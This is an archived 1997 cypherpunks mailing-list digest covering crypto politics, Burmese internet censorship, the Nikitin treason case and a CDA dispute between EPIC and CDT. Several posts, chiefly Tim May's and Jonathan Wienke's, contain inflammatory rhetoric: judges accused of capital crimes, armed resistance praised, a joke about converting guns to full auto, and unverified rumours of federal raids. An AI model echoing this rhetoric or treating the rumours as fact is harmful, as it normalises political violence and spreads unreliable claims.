>does not mean that is necessarily a safe right to exercise.  Let us
>hope that Tim does not come to harm.  But, let us also give him the
>credit he deserves for having the courage to speak his mind.

Thank you. And contrary to what Hettinga claimed in one of his posts, I did
not call for a judge to be killed. (Though, as I understand the law, that's
not in and of itself illegal.) What I said was that the judge(s) in the
Paladin case had committed a capital crime. Saying, for example, that OJ
committed a capital crime is not uncommon, so why should judges be exempt
from similar opinions?

What we are seeing with Hettinga's anguished armchair analysis of me and my
motivations is a lot of overly personal, even fixated, attention on me and
my life. He pretends to know my social life, pretends to understand why I
won't just tone down my comments and not rock the boat. Utter nonsense.

....
>People said exactly the same things that Hettinga is saying here.  If
>they would only behave (i.e., go along with anything), then they
>wouldn't have to be censored.
...
>A few courageous people doing the right thing at the right time make a
>big difference.  This does not happen by kowtowing to whichever
>malfeasant tyrant happens to be in power.  When you are asked to wear
>a yellow star, you can be pretty sure that doing so will not save you.
>
>Also, let us not pretend that Tim's gun collection is much protection.
>It may delay capture or raise the price of execution of a no-knock
>warrant, but if the Powers That Be don't want Tim around, then he's
>gone.  It could be a "lone nut" with a sniper rifle, it could be a
>"heart attack", it could be a rock star's plane "accidently" hitting
>the house: there are many ways to take care of troublemakers.

I fully agree, and have not said I expect a full-scale assault on me, nor
have I said I would expect to win such a war. The context of my recent
comments about guns was the Gun Shows recently.

(I haven't seen Hettinga foaming at the mentions by certain other
Cypherpunks of the Cypherpunks Shooting Club (which I am too far away from
to attend, by the way). Nor did I see him remonstrate against the list
member who brought his AR-15 carbine to a Cypherpunks meeting and held it
up, like any good revolutionary holding up his Kalashnikov.)

It happens that a lot of totalitarian moves are happening at this time. My
"Mad as Hell" article lists a bunch of them. CDA clones, new crypto
legislation, Clinton banning importation of fully-compliant foreign
weapons, etc.

And the rumors are mounting about a series of possible raids around the
holidays this Thanksgiving Day. The FBI has acknowledge the fax sent out as
legitimate.

While militia members and Cypherpunks may not be able to withstand a full
out war for very long, the mere willingness to defend oneself can itself
act as a deterrent. This is basic game theory, basic strategy.

Scared bunny little rabbits who tone down their words so as not to make
their masters angry at them will not be any safer, ironically enough.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Nov 1997 07:53:09 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: See brother Ralph, bash billg for free.
In-Reply-To: <v031107ebb08fbfcdb559@[139.167.130.248]>
Message-ID: <v03007810b08fed03896e@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Yep, I'm going to be there. Saint Ralph vs. Bill Gates. What fun. --Declan


At 15:20 -0500 11/12/97, Robert Hettinga wrote:
>See Washington before it burns...
>
>Cheers,
>Bob Hettinga
>--- begin forwarded text
>
>
>Date: Wed, 12 Nov 1997 13:35:24 -0500 (EST)
>Reply-To: love@cptech.org
>Originator: info-policy-notes@essential.org
>Sender: info-policy-notes@essential.org
>Precedence: bulk
>From: James Love <love@cptech.org>
>To: Multiple recipients of list <info-policy-notes@essential.org>
>Subject: Microsoft Conference Scholarship Info
>MIME-Version: 1.0
>
>I have mentioned this a few times before, but apparently some are not
>aware. People who want to attend the Essential Information Conference on
>Microsoft, and who do not have funding for the conference fee, can
>easily receive a scholarship by sending a note to Donna Colvin, who can
>be reached at dcolvin@essential.org (fax 202.234.5176).  This is
>available to anyone, including people who work in industry or
>government.
>
>Conference info is on the web at http://www.appraising-microsoft.org
>
>Jamie
>
>--
>James Packard Love
>Consumer Project on Technology
>P.O. Box 19367, Washington, DC 20036
>202.387.8030 | fax 202.234.5176
>love@cptech.org | http://www.cptech.org
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"... however it may deserve respect for its usefulness and antiquity,
>[predicting the end of the world] has not been found agreeable to
>experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
>The e$ Home Page: http://www.shipwright.com/
>Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 08:01:43 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: See brother Ralph, bash billg for free.
In-Reply-To: <v031107ebb08fbfcdb559@[139.167.130.248]>
Message-ID: <v03110719b08ff1495783@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:32 pm -0500 on 11/12/97, Declan McCullagh wrote:


> Yep, I'm going to be there. Saint Ralph vs. Bill Gates. What fun. --Declan

Say hi to the plaintiff bar for us.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Nov 1997 08:27:09 +0800
To: cypherpunks@toad.com
Subject: In Burma, the Internet is access to democracy, from Newsday
Message-ID: <v03007814b08ff49c52c5@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



A very nice piece in Newsday. My writeup of my visit to Burma a year ago is at:

  http://cgi.pathfinder.com/netly/editorial/0,1012,475,00.html

Because of roadblocks, I had to hike across fields and through villages to
get to the site of the sole Burmese Net-connection at a local university.
It was set to become operational in spring 1997. I also heard of
unconfirmed reports that the military had a Net-connection through a
friendly nearby country, probably Singapore. (Perhaps to monitor
soc.culture.burma or somesuch.) BTW, the best mailing list on Burma news
I've found is burmanews-l@igc.apc.org.

I also hid my interview notes in the bottom of my bag. I made an extra copy
of the crucial ones and put the paper in my wallet, just in case.

-Declan

*************

Newsday (New York, NY)
November 12, 1997
LIFE IN CYBERSPACE / FOR MANY, THE INTERNET IS ACCESS TO DEMOCRACY

By Matthew McAllester

    RANGOON, Burma THE MAN LEANED across the table and spoke so quietly
that no one but the two of us could hear. His eyes moved from side to side,
scanning the restaurant and the street outside for possible informers or
military
intelligence agents. That's the way people communicate in Burma when
they're talking with a foreigner about something that could land them in
prison for several years.

   "You know what?" the man said. "I got e-mail."

   "You can't have," I said.

   For several reasons I knew he had to be telling me a tall story. For a
start, it's illegal to access the Internet in Burma. It's illegal to own an
unlicensed fax machine or modem. A few years ago a supporter of the largest
pro-democracy party in Burma died in prison, where he'd been sent because
he did not have a license for his fax machine.

   Besides, no one has e-mail or Internet access in Burma except for a
select few business owners who are friendly with the military regime that
rules the country. Diplomats at a few foreign embassies also acknowledge
that they have Net access and e-mail despite the Burmese government's
restrictions. Even then, they say their e-mail is intercepted and read by
the Burmese authorities.

   This is a country where reporters have to visit in the guise of
tourists, which is how I traveled in September and October. In Burma, all
international calls are listened to by the operator and, the Burmese people
assume, by military intelligence. When I wanted to make a call to the
United States, the receptionist at my hotel told me it would cost $35 for
five minutes if I wanted to dial direct. I opted for the storefront down
the road, where I sat for 30 minutes waiting for a connection. When I got
through to my friend, I was less than chatty about what I'd been up to.

   So how could the man I was talking to across the table possibly have
navigated these political and technological barriers to get e-mail?

   "No, I do. I got it," he said.

   The man smiled. He's a fixer. A small business owner. People come to him
for help. He's thinking of offering people access to his Net account - for
a price. Most of all, he looks out for himself, keeping on the right side
of the military authorities but not showing them the fear they are so used
to seeing in the faces of Burmese people.

   "I dial out anywhere I can," he said. "My account is in Australia, but
I'll use a server from anywhere. Anywhere."

   For the sake of communicating with the outside world, the man was
prepared to risk prison.

   I've written before about how a good number of governments around the
world restrict or ban Internet access to their citizens. Free-speech
advocates told me how some governments fear the spread of anti-government
information and opinions that dissent from the official line. The advocates
told me how democratizing the Internet is by its nature. But being told and
seeing with one's own eyes is a very different experience. After a couple
of weeks viewing how the military government's system of informers and
control of information contributed to its firm grip on power, I could
understand why it has banned the Net. The Net's speed and resistance to
control would be an unstoppable force in organizing opposition to the
military regime.

   "What would happen if you had Net access?" I asked another Burmese man,
who spoke in a whisper even when he was alone at home.

   "The government, it would be over," he said. "We could share information."

   Information and open communication in an oppressive state like Burma are
invaluable tools in fighting the status quo.

   I spent some time one evening in Rangoon with U Tin Oo, a former general
in the Burmese army and now a senior leader of the National League for
Democracy, the largest pro-democracy party. All told, he's spent nine years
in prison for his political activities.

   As we spoke, the phone often rang. Delegates to the party conference
that weekend were en route to Rangoon, and they called Tin Oo to discuss
the event. The conversations were superficial.

   "They tap my phone always," Tin Oo explained.

   When I left I had to take two taxis and walk among crowds in downtown
Rangoon to shake the military intelligence officials that a pro-democracy
contact had said would follow me.

   I worried about my own information, my notes. I longed to be able to
turn them into ones and zeroes and e-mail them home. Instead, I hid them at
the bottom of my backpack.

   A couple of weeks later I was in Thailand, interviewing Burmese
dissidents and refugees who have fled the Burmese government. Working with
them in the north of Thailand are several westerners who work as
human-rights campaigners, doctors and advocates for the refugees.

   E-mail is an important tool in their work, as it helps them coordinate
with people outside Thailand. One woman collects every story she can find
about Burma into the BurmaNet News e-mail newsletter. BurmaNet News is
delivered to the e-mail boxes of hundreds of journalists, activists and
government officials around the world. It's precisely the kind of
democratizing spread of information that the Burmese people are denied.

   But even in Thailand there are problems. The human-rights advocates and
health workers use encryption when communicating online. "They read all our
e-mail," said an Australian doctor, referring to the Thai authorities. The
Thai government maintains diplomatic relations with the Burmese government,
a pariah regime to many other democracies. "The other day I tried to get my
e-mail and my password had been changed."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 13 Nov 1997 07:57:14 +0800
To: cypherpunks@cyberpass.net
Subject: John Brown
Message-ID: <ff0c08ce54aa4c02073a252924d8e659@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>> And so on. Throughout history there have been those who spoke their
>> mind.  And others who told them to cool it, to not anger the local
>> prince, to not rock the boat.
>
>No, Tim. Your analysis is too simple, here. My point is, all John
>Brown & Co. did was get shot up one afternoon in Harper's Ferry. They
>didn't help the cause of abolition one whit.

"Lies My Teacher Told Me: Everything Your American History Textbook
Got Wrong" by James W. Loewen, pages 167 through 169:

  "After 1890 textbook authors inferred Brown's madness from
his plan, which admittedly was farfetched.  Never mind that John Brown
himself presciently told Frederick Douglass that the venture would
make a stunning impact even if it failed.  Nor that his twenty-odd
followers can hardly be considered crazed too.  Rather, we must
recognize that the insanity with which historians have charged John
Brown was never psychological.  It was ideological.  Brown's actions
made no sense to textbook writers between 1890 and about 1970.  To
make no sense is to be crazy.
  "Clearly, Brown's contemporaries did not consider him insane.
Brown's ideological influence in the month before his hanging, and
continuing after his death, was immense.  He moved the boundary of
acceptable thoughts and deeds regarding slavery.  Before Harpers
Ferry, to be an abolitionist was not quite acceptable, even in the
North.  Just talking about freeing slaves - advocating immediate
emancipation - was behavior at the outer limit of the ideological
continuum.  By engaging in armed action, including murder, John Brown
made mere verbal abolitionism seem much less radical.
  "After an initial shock wave of revulsion against Brown, in the
North as well as in the South, Americans were fascinated to hear what
he had to say.  In his 1859 trial John Brown captured the attention of
the nation like no other abolitionist or slaveowner before or since.
He knew it: `My whole life before had not afforded me one half the
opportunity to plead for the right.'  In his speech to the court on
November 2, just before the judge sentenced him to die, Brown argued,
`Had I so interfered in behalf of the rich, the powerful, it would
have been all right.'  He referred to the Bible, which he saw in the
courtroom, `which teaches me that all things whatsoever I would that
men should do to me, I should do even so to them.  It teaches me
further, to remember them that are in bonds as bound with them.  I
endeavored to act up to that instruction.'  Brown went on to claim the
high moral ground: `I believe that to have interfered as I have done,
as I have always freely admitted I have done, in behalf of His
despised poor, I did no wrong but right.'  Although he objected that
his impending death penalty was unjust, he accepted it and pointed to
graver injustices.  `Now, if it is deemed necessary that I should
forfeit my life for the furtherance of the ends of justice, and mingle
my blood further with the blood of my children and with the blood of
millions in this slave country whose rights are disregarded by wicked,
cruel, and unjust enactments, I say, let it be done.'
  "Brown's willingness to go to the gallows for what he thought was
right had a moral force of its own.  `It seems as if no man had ever
died in America before, for in order to die you must first have
lived,' Henry David Thoreau observed in a eulogy in Boston.  `These
men, in teaching us how to die, have at the same time taught us how to
live.'  Thoreau went on to compare Brown with Jesus of Nazareth, who
had faced a similar death at the hands of the state.
  "During the rest of November, Brown provided the nation graceful
instruction in how to face death.  In Larchmont, New York, George
Templeton Strong wrote in his diary, `One's faith in anything is
terribly shaken by anybody who is ready to go to the gallows
condemning and denouncing it.'  Brown's letters to his family and
friends softened his image, showed his human side, and prompted an
outpouring of sympathy for his children and soon-to-be widow, if not
for Brown himself.  His letters to supporters and remarks to
journalists, widely circulated, formed a continuing indictment of
slavery.  We see his charisma in this letter from `a conservative
Christian' - so the author signed it - written to Brown in jail:
`While I cannot approve of all your acts, I stand in awe of your
position since your capture, and dare not oppose you lest I be found
fighting against God; for you speak as one having authority, and seem
to be strengthened from on high.'  When Virginia executed John Brown
on December 2, making him the first American since the founding of the
nation to be hanged as a traitor, church bells mourned in cities
throughout the North.  Louisa May Alcott, William Dean Howells, Herman
Melville, John Greenleaf Whittier, and Walt Whitman were among the
poets who responded to the event.  `The gaze of Europe is fixed at
this moment on America,' wrote Victor Hugo from France.  Hanging
Brown, Hugo predicted, `will open a latent fissure that will finally
split the Union asunder.  The punishment of John Brown may consolidate
slavery in Virginia, but it will certainly shatter the American
Democracy.  You preserve your shame but kill your glory.'
  "Brown remained controversial after his death.  Republican
congressmen kept their distance from his felonious acts.
Nevertheless, Southern slaveowners were appalled at the show of
Northern sympathy for Brown and resolved to maintain slavery by any
means necessary, including quitting the Union if they lost the next
election.  Brown's charisma in the North, meanwhile, was not spent but
only increased due to what many came to view as his martyrdom.  As the
war came, as thousands of Americans found themselves making the same
commitment to face death that John Brown had made, the force of his
example took on new relevance.  That's why soldiers marched into
battle singing `John Brown's Body'.  Two years later, church
congregations sang Julia Ward Howe's new words to the song: `As He
died to make men holy, let us die to make men free' - and the
identification of John Brown and Jesus Christ took another turn.  The
next year saw the 54th Massachusetts Colored Regiment parading through
Boston to the tune, en route to its heroic destiny with death in South
Carolina, while William Lloyd Garrison surveyed the cheering
bystanders from a balcony, his hand resting on a bust of John Brown.
In February 1865 another Massachusetts colored regiment marched to the
tune through the streets of Charleston, South Carolina."

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 13 Nov 1997 12:02:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mad as Hell
Message-ID: <3.0.32.19971112200122.006a8b1c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>Colorado state Senator Charles Duke, also in the studio audience,
>spoke about the 10th Amendment Sovereignty Resolution, a modern
>version of Magna Carta designed to force a constitutional showdown
>with the federal government. 

This sounds interesting!  This is what I had in mind, in that other thread
about "What Will Revolution Look Like"


>[...]A merchandise ine with caps, t-shirts with the blazing
>l "Mad As Hell" logo is also planned.

However, this is unfortunate.   Trinkets like these may bring in useful and
needed funds, but they take away from the seriousness of the effort, from
the respect the cause deserves.  They make the wearers look like weenies
playing a child's game, rather than serious individuals in their rights
minds with the concentration and commitment to do important work for the
purpose at hand.

(In a silly mood, I could see a gathering of such supporters in a large,
crowded courtroom, all wearing T-shirts saying, "It's *ShowTime* !!!" )


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 13 Nov 1997 12:28:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole (fwd)
In-Reply-To: <199711120444.WAA02100@einstein.ssz.com>
Message-ID: <3.0.3.32.19971112200525.0329d46c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713750.multipart/signed"

--Boundary..3986.1071713750.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

I think that Tim May (and formerly Jim Bell) serve a useful purpose--that
of the canary in the coal mine.  When Tim gets disappeared, the rest of us
should know to convert our weapons to full auto, pack up our ammo caches,
head for the wilderness, and wait for the sewage to hit the fan. ;) Of
course, you actually have a life, your mileage may vary.

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713750.multipart/signed
Content-Type: application/octet-stream; name="pgp00005.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00005.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5HcCt3TUpGMGtYcXB3
M01FUUpOWlFDZU1UOXltZ1dBRU0vOGIydkRFZG5oZGxORmwzUUFuMDlWCkVW
OG9kZW1EUkJNRXY5N21rSjkzcGZzYwo9UUV0QwotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713750.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 13 Nov 1997 12:26:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Scared of US; Where to relocate?
In-Reply-To: <199711121431.PAA11022@basement.replay.com>
Message-ID: <3.0.3.32.19971112201252.032a1f74@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713750.multipart/signed"

--Boundary..3986.1071713750.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 03:31 PM 11/12/97 +0100, Anonymous wrote:
>It has become very clear to me over the past few years that amerika 
>is headed for some pretty rough times, and I've decided to leave before
>it becomes illegal for me to do so. The only question is, where to?

Vermont still allows anyone not convicted of a violent crime to carry a
concealed weapon, no permit required.  Oddly enough, it has one of the
lowest crime rates in the U.S.


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713750.multipart/signed
Content-Type: application/octet-stream; name="pgp00006.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00006.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5HcCt4OEpGMGtYcXB3
M01FUUw5cFFDZU5jZ21SeUxDQlJhbmFaazAzVDVHQVFQOWxBVUFvTC94CkZ4
OVVkMjJzUHByT0FZLzIrQW84WXUxbwo9QWNyRQotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713750.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 13 Nov 1997 10:52:43 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: INFO-RUSS: Action alert:  A. Nikitin (fwd)
Message-ID: <199711130247.UAA09669@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Wed Nov 12 18:39:46 1997
Message-Id: <9711121841.AA10833@smarty.ece.jhu.edu>
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
Date: Wed, 12 Nov 1997 12:53:13 -0500
To: info-russ@smarty.ece.jhu.edu
From: Union of Councils <ucsj@ucsj.com>
Subject: INFO-RUSS: Action alert:  A. Nikitin

---------------------------------------------------------------------
This is INFO-RUSS broadcast (1200+ subscribers). Home page, information, 
and archives: http://psi.ece.jhu.edu/~kaplan/IRUSS/inforuss.html
To post, or to subscribe/unsubscribe, mail to info-russ@smarty.ece.jhu.edu
INFO-RUSS assumes no responsibility for the information/views of its users.
---------------------------------------------------------------------

Sen. Bingaman and Rep. Skaggs Appeal to Colleagues to Urge Review of
Nikitin Case

UCSJ encourages human rights supporters to call their Senators and
Representatives and act on Nikitin's behalf

Below is a "Dear Colleague" letter from Congressman David Skaggs (D-CO) on
the case of Alexander Nikitin. Senator Jeff Bingaman (D-NM) is circulating
a similar letter in the Senate.

Please call your Senators and Representatives and ask them to sign these
crucial letters.  Maximum pressure and publicity is needed to help convince
the Russian authorities to drop this case.  It is essential that Nikitin's
rights are protected and that the Russian security apparatus not be
permitted to win this power struggle.

(For more on the Nikitin case, please email Jason Silberberg at
jsilb@ucsj.com.)

Union of Councils ucsj@ucsj.com


November 4, 1997

RUSSIAN ENVIRONMENTALIST CHARGED WITH TREASON
FOR WARNING OF NUCLEAR WASTE DISASTER

Dear Colleague,

I am writing to bring to your attention new developments in the case of
Alexander Nikitin, a case that has broad repercussions for the future of
democracy, free speech, and due process in Russia.  I ask you to join me in
sending the attached letter to Russian President Boris Yeltsin.

Alexander Nikitin, a Russian environmentalist who co-authored a report that
revealed a nuclear waste disaster in the making, has been charged with
treason by the Russian Federal Security Service (the former KGB), which
completed its investigation on September 19.  The Russian Procurator, Yuri
Skuratov, who was appointed by President Boris Yeltsin, will now have to
decide whether to move to trial in this case.

Nikitin co-authored a report published by the Norwegian environmental
group, Bellona, that revealed that unprotected nuclear waste is stored at
bases and shipyards near Murmansk, and that retired nuclear-powered
submarines docked in the Arctic Circle still contain highly radioactive
spent fuel.  Despite the fact that all the information used for the report
was taken from open sources, Nikitin was charged with having released state
secrets.

Nikitin had been charged with violating secret Defense Ministry decrees --
even though the Russian constitution prohibits such charges.  He has now
been charged with violating a Defense Ministry decree that was issued seven
months after Nikitin was arrested -- even though the Russian constitution
prohibits ex post facto prosecution.  Federal Security Services
investigators have changed their determination five times regarding the
choice of decrees on which to base their investigation.

This case is critical, not only for Russian environmental policy, but for
the future of Russian democracy.  It is disturbing if Russia is unable to
face up to these enormous environmental problems without prosecuting the
citizen that exposed them.  It raises questions about whether free speech
and the publication of reports critical of the government will be
permitted.  The grave issues of due process in the Nikitin case cause doubt
about whether Russia has truly put Soviet-style justice behind it.

Please join me in sending the attached letter to Russian President Boris
Yeltsin, asking him to seek a thorough review before any decision is made
to take this case to trial.  If you would like to cosign the letter, or if
you have further questions, please call Sue Hardesty of my staff at 52161.

Sincerely yours,
						    
David E. Skaggs



--------------------------------------------------------------------

His Excellency Boris Yeltsin
President of Russia
Moscow, Russian Federation

Dear Mr. President:

We are writing to bring to your attention the case of Alexander Nikitin. We
understand that the Federal Security Service has completed its
investigation, and the Procurator General must now decide whether to take
the case to trial.

We applaud the enormous strides Russia has taken since the end of the
Soviet era to establish a rule of law, and end the old Soviet-style
approach to criminal prosecution.  That is why we are very concerned that
this case, if pursued, would mark a serious setback for the rule of law in
Russia.

Alexander Nikitin co-authored a report published by Bellona, a Norwegian
environmental organization.  The report revealed that unprotected nuclear
waste is stored at bases and shipyards near Murmansk, and that retired
nuclear-powered submarines docked in the Arctic Circle still contain highly
radioactive spent fuel.  Despite the fact that all the information used for
the report was taken from open sources, Nikitin was charged with having
released state secrets.

Nikitin had been charged with espionage for violating secret Defense
Ministry decrees -- even though the Russian constitution prohibits such
charges.  He has now been charged with violating a Defense Ministry decree
that was issued seven months after he was arrested -- even though the
Russian constitution prohibits ex post facto prosecution.  Federal Security
Services investigators have changed their determination five times
regarding their choice of decrees on which to base their investigation.

It appears that the rule of law as embodied in the Russian constitution has
not been followed in this case.  We urge you to ask your government's
Procurator General to order a thorough review.  We believe that such an
unbiased review of the case would lead to a dismissal of the charges
against Alexander Nikitin, and ask that you take steps to see that such a
review is conducted.

We see this case as extremely significant.  Thank you for your
consideration of our views. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org> (by way of Declan McCullagh)
Date: Thu, 13 Nov 1997 10:33:06 +0800
To: cypherpunks@toad.com
Subject: Re: FC: CDA: The Sequel -- introduced in the U.S. Senate
Message-ID: <v03007802b09014e0d7da@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain





Danny -

Since you have associated EPIC's position on the White
"compromise" with CDT's, I feel some obligation to
correct the record.

We did not, as you recall, support that bill which
included the harmful to minor standard because we
believed it was contrary to generally accepted First
Amendment standards.

CDT supported the White measure and went to great pains
to blame the members of the conference committee who
did not endorse it. (I'd be happy to dig out the
news reports on this point if there is any question).

The Court's opinion in Reno v. ACLU seems to support our
position. I do not think the White bill that you
supported would have survived a Constitutional
challenge.

I wish to make a second point also. You accused
Declan of mischaracterizing CDT's position on the
White legislation. I'm still not clear exactly what
he got wrong. But you have surely mischaracterized
Larry Lessig's position in suggesting that he
supports passage of new legislation.

The O'Connor opinion, which by the way is a concurrence
and not a dissent, relies on an article by Lessig in
which he observes that restrictions have been upheld
where procedures are established to segregate (zone)
adult content. Thus the so-called Ginsburg statute.

I read Larry's analysis and his subsequent commentary
more as a warning than a recommendation. Establish
such zones and content-based controls become
permissible. Thus O'Connor's opinion seems to suggest
that labels used to distinguish content based
not on traditional library classifications (history,
literature, etc) but on whether such information is
suitable for minors would make it easier to
permit regulation.

I am not particularly interested in a lengthy back
and forth on this topic. I do think it is important
to set the record straight on EPIC and CDTs views
on the White bill. We did not agree then. You
cannot change that now. I also think you should
think a little more carefully about whether the
rating systems you promote will make it easier
for a CDA II to survive a Constitutional challenge.

Regards,

Marc.


At 12:05 AM -0000 11/13/97, Daniel J. Weitzner wrote:
>Declan,
>
>It's kind of you to get the word out about this new Coats bill, but you
>have managed to seriously mischaracterize CDT's position on the White
>legislation of 1995.  We did not believe that Congress should have passed
>the White Compromise, and certaily never "embraced" it, as you write.
>Based on my initial reading of the Coats bill, we will certainly oppose it.
>
>The Coats bill, with it's emphasis on age verification as a means to
>"protect" kids and provide online publishers with liability limitation, is
>actually a direct result of Justice O'Connor's dissenting opinion in the
>CDA case and her desire to try to "zone" cyberspace.  Following Larry
>Lessig, she suggests that instead of relying on individually-controlled
>blocking and filtering software, it is better for the government to require
>that certain content be placed behind age verification firewalls.  Prof.
>Lessig prefers this zoning to what you have characterized as "censorware."
>I hope that you, as an opponent of user empowerment filtering tools like
>Larry, do not prefer this O'Connor/Lessig approach too?
>
>I can't remember whether you were actually around in 1995, either as
>journalist or activist, so let me remind you of what we and other civil
>liberties advocates like Marc Rotenberg of EPIC said.
>
>In the New York Times (12/2/95, p.A1)
>
>   "While it does embody much of the original Exon proposal, it does so in
>a way
>that tries to embody a constitutionally recognized standard," said Jerry
>Berman, director of the Center of Democracy and Technology, a nonprofit group
>that focuses on civil rights and technology issues.
>
>and Jerry went on to say:
>
>"I don't think we need any legislation at all."
>
>Marc seemed to take a similar position:
>
>"It is preferable to the Exon bill, but ultimately this issue will be
>resolved in the courts, which is where it should be resolved," said Marc
>Rotenberg....
>
>Both CDT and EPIC recognized that as a plain matter of constitional law,
>the "harmful to minor" standard is more broadly accepted by courts around
>the country, but that the legislation was still an unwise infringement on
>Internet speech.
>
>We still believe that.
>
>We can certainly have a discussion about the various legislative strategies
>employed during the final days of the CDA debate and House-Senate
>conference, but frankly I think there's more important work to do.
>
>I hope that future discussions on this list can focus on how to defeat
>misguided efforts like the Coats bill, instead of misleading
>characterization of the past.
>
>Finally, Declan, I would suggest that when you want to characterize CDT
>positions you talk to someone at CDT, or at least find some documentation
>of your assertions.  I know that you recognize you have an obligation as a
>journalist to check facts and sources with some care.  That sort of care
>would also help in discussions among activists.  I'm never exactly sure
>whether you think of yourself as a journalist or activist when writing to
>FC, but whichever it is, I hope you'll try to avoid this confusion in the
>future by talking to us.
>
>At 5:01 PM -0500 11/12/97, Declan McCullagh wrote:
>>Just when you thought the Internet was safe from government
>>censorship, Sen. Dan Coats has introduced a sequel to the
>>notorious Communications Decency Act.
>>
